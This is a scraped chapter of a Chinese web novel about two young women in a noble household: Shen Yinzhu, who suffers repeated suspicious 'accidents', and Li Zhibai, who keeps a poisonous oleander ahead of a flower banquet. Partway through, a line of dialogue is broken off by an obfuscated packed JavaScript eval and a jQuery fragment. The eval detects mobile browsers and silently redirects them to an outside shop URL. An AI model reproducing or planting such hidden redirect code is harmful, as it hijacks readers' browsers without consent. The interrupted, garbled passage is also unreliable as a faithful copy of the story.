文趣网 > 其他小说 > 在书院的日子 > 12. 第 12 章
    沈因竹打小身子骨就不大好,被沈山青找回沈家之后,便成日用千年参汤吊着命,好容易长了一两年,把身子骨养回来了,瞧着和大家伙也差不多了,可不知怎么的,自个身体好了,外来的磕磕碰碰又来了。

    寻常不是摔打跌伤就是被烫,都不危及性命,且沈因竹自来是个沉闷的性子,报喜不报忧,柳姑和丫头秋分也就当是意外。然而当这意外来得越来越频繁时,就不由得让人起疑,是不是旁人别有用心了。

    最近的一次这种状况发生,还是在昨晚,沈因竹一夜未归。害怕老夫人责问,又怕小姐是不是又遇到了麻烦,柳姑和丫头秋分瞒着不敢声张。

    今日天还没亮就去了找她们小姐,过了一晚上了,两人心里都七上八下,慌乱得不行。

    可又是这么巧,两人被条野狗带路,找到了她们小姐,只不过是在岸上,浑身上下湿漉漉的,距离小姐不远,有口深潭,里头的水黑漆漆,深不见底,冷风刮过,掀起潭底冻了几千年寒冰的冷意,柳姑和丫头当场吓得腿软了下去,跌跌撞撞爬到自家小姐身边。

    随之,从那和小姐相距不远的深潭处收回视线,她们发现了一个更可怕的事实,沈因竹就是从那里爬上来的。柳姑那只伸出去的手又缩回来,她的面色也同地上躺着的小姐一般,煞白无比,毫无半点血色,丫头趴在小姐身旁哭得肩头耸动。

    被恐惧冲昏了脑袋的两人不知怎么的,就晕了过去,再醒来时,小姐和她们便在沈府了。

    丫头秋分以为是自己做了场可怕的梦,可柳姑知道不是,醒来后不久,她安排妥当,立马就去了备驱寒的药,等再次端着碗回来时,小姐的房门被人从里头锁住了。

    青竹院里的人不多,仆从丫头也不多,彼此知根知底,是以沈因竹从来都是夜不闭户的,晚上都是如此,白日就更不用说了。柳姑登时心中一动,端着汤药,用身子重重撞过去,然而在即将撞响门板的刹那,小姐的闺房出现了另一个人的声音,是男子的。

    柳姑当场懵了,比小姐遭人陷害更恐怖的是,是被人威胁,还是位她们谁也不能撼动的人物。

    沈因竹不想让她们为难,也不想让沈府因为此事开罪自己,更不想把这事闹得沸沸扬扬,以她的脾性从来都是大事化小小事化了,能不说就不说,所以除了她一人,谁也不知道这件事。柳姑还从他们对话的只言片语中得知,早在三个月前,那人就盯上小姐了。

    半个月前沈因竹落水,是他救的人,再七天前沈因竹吃菌子中毒,也是他送来的药,昨晚也是他把沈因竹从深潭里捞上来的。

    柳姑越想越不对劲,越想越恐惧。每一次小姐的出事,每一次都有他的精准出现,若说没有他的手笔,柳姑是不信的。可偏偏她们小姐出事,并不是从和他相遇那天开始的,而是在两三年前,她们小姐就接连有了这些意外。

    可见那人不是陷害她们小姐的凶手,然而这般想来,愈加头皮发麻,何人能够精准得知对方的一举一动,除非在暗处,对方早就在监视了。

    柳姑想到此处,不禁打了个冷战,手中的褐色汤药往一边倾,泼洒了一些出去。她把药递给沈因竹,顺着她的背,再说话时,言语中便不自觉带上了点颤意,“小姐,无事了。”

    尽管心情沮丧,可到底身体是自己的,疼也疼在自己身上。

    沈因竹接过药碗,大口把药咽入口中,抬起手没什么情绪地擦掉嘴角的药渍,柳姑从她手中接过空碗,扶着她的肩膀,小心道:“小姐,地上凉,我们坐到榻子上说。”

    “柳姑,你出去吧。”沈因竹抬起没什么波澜的眼睛,视线定在窗口落下阴影的位置。

    柳姑心中微动,抿了抿唇,到底是不忍心拒绝,“好,小姐照顾好自己。”

    秋分尚且还不知道自家小姐的秘密,一脸疑惑却又不愿离开,柳姑把她连脱带拽,拽离了屋。一直到出了闺房,来了青竹院边角的厨房,柳姑才把人松开。

    “柳姑,你做什么?小姐心情不好,一个人在屋子里你也放心得下吗?”秋分指责她道:“快跟我现在回去,去问问小姐到底发生了什么事,小姐以前可从来不这样的。”

    “你个蠢货!”柳姑道:“你去了有什么用?”

    “怎么就没用啦!我最会宽慰人了,小姐哪一次心情不好,不是我哄好的。”秋分叉着腰,直勾勾地看着她,“你是不是想偷懒了?”

    柳姑直接把揉好的面团丢到她的手上,“绿豆糕,洒点玫瑰碎调香,小姐前几日特地嘱咐的,”见秋分不为所动,柳姑直接下了最后通缉令,“现在就做,等会给小姐送过去。”

    秋分扁扁嘴,“晓得了。”

    ……

    “小心点,哎呦,你们可真是的,连什么花跟什么花都分不清,是第一次来做事的吗?”青杆叉着腰站在屋檐下。

    “还有那个!那个!给我走快点!后面都堵住了!”

    “真是一群废物!”青杆恨铁不成钢,又见那端着花盆的人杵着不动了,“哎呦”了一声,小步跑过去,钳着对方的肩头把她的方向掰过来,“走这边,你南北不分的吗?那边是小姐的闺房,你走那边,就送小姐屋子里去了!你想毒死小姐啊?”

    被青杆教训的丫头战兢兢不敢说话,端着怀里半人高的花草她说什么是什么,说什么走就怎么走,说搬去哪就搬去哪。

    难得看她聪明了点,青杆松口气,“这就对了!”

    栗知白老早就听到了这头的声音,乍然瞧过来,却见一排排丫头在往外送着油绿的绿植。其中不乏有龟背竹,夹竹桃,兰花,还有些不常见的品种,生得极好,养护的人也很用心,且一看就是挑了好的给她送来的。

    不出意外应当是前日去老祖母那里随口提了一嘴她那养的文竹漂亮,有生机,老祖母便记下了,昨日便问她准备好了没有,她原以为是准备什么,竟然是准备养护这些花草。

    可瞧这些丫头过去的方向,不是她的卧房,却是往小桃院门口走去。青杆在那头指挥,近几日天热,还没到正午,薄薄的上衣便湿了大片。

    栗知白走过去,“这是怎么了?走错了罢,我的卧房在那头。”

    青杆见小姐过来,急忙牵起宽袖给她遮挡太阳,“小姐,您怎的出来了,天热,太阳大,小姐可莫要中

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886709|212575||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    暑了。”

    栗知白问,“她们怎的要把那些花给送出去,不是祖母给我的吗?”

    青杆把栗知白送到阴凉的藤蔓下坐着,“小姐,您有所不知,那些花啊,草的,都是有毒的!恐怕小姐您在渝州见得不多,可在我们上京啊,那些花啊,草的,都不会放到卧房里去的,要放也得是个安全点的地方,小姐您说是不是呀?”

    “竟然是有毒吗?”栗知白道。

    老祖母的花养得很好,当日只瞧见那里的文竹长得又高又壮,原以为这些花也同文竹一般是放在室内长养的,没想到还有这种讲究。

    在渝州多是养小型的花,譬如绿叶茑萝,缠在竹篱笆上,漂亮得不得了,室内多是养些小小的绿萝,兰花之类的,好看又实用。小桃院几年都是荒废的状态,要置办的东西不少,祖母好心,可忽略了栗知白纯粹是个不通花草的痴儿。

    青杆是土生土长的上京人,知晓的自然比她这个渝州人多得多。

    “是啊,小姐。”

    “那边搬出去吧。”栗知白说,突地,不知想到了什么,“等等,你是说这些都有毒?”

    青杆不知栗知白打了什么注意,点头道:“是,小姐,尤其是那夹竹桃,可是有剧毒的,不仅花有毒,茎秆叶也有毒,活脱脱一个现世毒物。”

    栗知白点点头,“那好,把那留下,其余的都搬去后院。”

    青杆不明所以,“小姐,您这是要做什么?”

    “秘密。”栗知白缓缓一笑。

    ……

    沈因竹又病了,查不出病因,大夫束手无策,青竹院在这段时间可热闹了,来来去去,可带着真心的没有几个。

    距离赏荷宴的举办不过短短五日,原本也给沈因竹发了帖子,奈何她卧病不起,遂那帖子便落到了栗知白的手上,栗知白是初入沈府,没有正式在上京城的一众贵女前亮过相,所以很多人都不认识沈家新来了位姑娘,自然就没这意识。

    今年比较特殊,往年男子都是不参加的,可不知怎么的,圣上亲自下旨意,从今年开始,不论男女都有机会参加赏花宴。

    男子中那些附庸风雅,舞文弄墨之人向来都极为艳羡这些赏花宴,可巧今年可以名正言顺参加了,自然不会错过。另一些人本着看热闹的心态,也加入了进去,还有另一些人,知晓这场宴会会来几个大人物,本着巴结亮相的机会,自然也不会放过这个绝佳的机会。

    如此细细算来,今年的赏花宴非但热闹,恐怕也是有史以来人最多的花宴,其来者的宾客当中,大抵也可赶得上王孙贵族的宴饮欢会了。

    送到沈府的帖子当中,满打满算,包括沈倾岁的亲娘陈氏,有四张,邀请了四个人。沈家当家主老祖母自来都是不参加的,沈山澜身在官场,当下的处境有些尴尬,不便参与这群人的欢会,加上往年都是自己的妻子陈氏参加的,今年自然也是如此。

    栗知白是初到京城,也将将才了解这里的风俗,是以对这赏花宴一直都很期待。为了应和此次的花宴主题,青杆精挑细选,在她的衣着发饰上下了老大功夫。

    直到赏花宴来临的这天。